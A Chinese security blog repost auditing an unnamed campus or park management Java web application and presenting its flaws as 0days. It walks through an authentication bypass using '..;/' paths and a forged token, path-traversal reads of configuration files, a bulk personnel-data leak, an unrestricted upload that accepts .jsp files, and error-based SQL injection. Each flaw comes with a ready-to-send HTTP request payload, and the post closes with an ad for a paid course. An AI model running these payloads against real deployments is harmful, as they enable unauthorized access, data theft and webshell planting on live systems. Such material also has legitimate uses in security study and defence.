某园区0day代码审计

admin 2025年6月4日20:20:28评论33 views字数 3626阅读12分5秒阅读模式

1、权限绕过

1.1、方法一

这里看spring-mvc的配置,找到SpringMVC拦截器

某园区0day代码审计

跟进拦截器,主要看看拦截规则写的什么,判断地址是否为白名单,如果部位白名单进入到

if (session.getAttribute("__sessional_user__") == null) {循环中

某园区0day代码审计

白名单地址为

某园区0day代码审计

然后跟踪isWhiteUri函数,这里的权限绕过是因为contains函数,这个函数意思是只要内容包含白名单的路径,他就会返回true

某园区0day代码审计

这里就可以用/白名单/..;/..;/绕过鉴权,如下:

某园区0day代码审计

1.2、方法二

如果请求的地址不是白名单,则进入到if循环和try-catch语句中,第一个if里面的不用看了,到现在还没有绕过来。主要看第二个鉴权的代码

某园区0day代码审计

这里的逻辑主要是判断,解密后的数组recoToken,分割判断长度是为2,并且数组第二位是否为数字,之后才会将信息添加到session中。那么加密代码如下

  • [ ] 数组第二位为字母,不执行
某园区0day代码审计
  • [ ] 为数字执行
某园区0day代码审计

成功绕过

某园区0day代码审计

2、文件读取1

全局搜索download关键字,这里的函数fileDownload.do请求时需要带参数fileId,该参数没有任何的过滤,用getRootPath获取请求的路径,之后在用loadFile加载该路径。

某园区0day代码审计

payload:

GET /manage/personnel/fileDownload.do?fileId=/WEB-INF/web.xml&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
某园区0day代码审计

3、文件读取2

参数imgDownload.do,这里也是直接请求路径,之后读取该路径的数据。这里有个主意的是参数getCaptureDirectoryPhysicalPath

某园区0day代码审计

跟进getCaptureDirectoryPhysicalPath,这里重要的是基础的路径后面加了三个../

某园区0day代码审计

那这里的跳转的路径直接到/manage 目录下

某园区0day代码审计

那么请求的敏感文件路径payload

GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/classes/app.properties&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
某园区0day代码审计

4、信息泄露(账号密码)

主要观察控制层的UserPersonnel等关键字

比如PersonnelController,查询到的接口queryPersonnelInfoqueryPersonnelgetPersonnelById

某园区0day代码审计
某园区0day代码审计
某园区0day代码审计
GET /manage/personnel/queryPersonnel.do?page=1&pagesize=1000&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
某园区0day代码审计

5、文件上传

这里上传很多,就拿一个举例全局搜索upload,定位到

某园区0day代码审计

就检测一个地方,是不是文件上传的类型,之后用copy函数,复制内容和文件名。这里拿txt做样式,jsp后缀可上传。

某园区0day代码审计
POST /manage/dgmCommand/resourceUploadFile.do?recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELjAccept: */*Connection: close------WebKitFormBoundaryFfJZ4PlAZBixjELjContent-Disposition: form-data; name="3"; filename="1.txt"Content-Type: image/jpeg1------WebKitFormBoundaryFfJZ4PlAZBixjELj--
某园区0day代码审计

12、sql注入1(两处)

SQL注入也很多,拿一个做案例。在下面的mapper的目录中,看到有两个可控参数ordercolumnKey,这里的columnKey注入条件必须order不为空才能进行诸如

/manage/WEB-INF/lib/x.server-1.0.jar!/com/x/x/mapper/mysql/black_list/BlackListDsm.xml

某园区0day代码审计

这里进行反推,找关键函数queryBlackList,文件从BlackListDsm->BlackListBsm->BlackListAsm->BlackListController

BlackListDsm

某园区0day代码审计

BlackListBsmImpl

某园区0day代码审计

BlackListAsmImpl.class

某园区0day代码审计

BlackListController.class,用set方法设置参数,并调用函数queryBlackList

某园区0day代码审计

那这里的sql注入payload1

GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close

payload2

GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=asc&columnKey=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close
某园区0day代码审计

完结

代码审计第四期,富含PHP、JAVA、NET代码审计,顺带APP、小程序、WEB当中参数逆向以及JAVA工具二开与SRC案例讲解,其中多多0day讲解,实战案例分析,不拿着靶场去做,想学习速速报名了。
某园区0day代码审计
某园区0day代码审计

原文始发于微信公众号(进击安全):某园区0day代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月4日20:20:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某园区0day代码审计https://cn-sec.com/archives/4132103.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息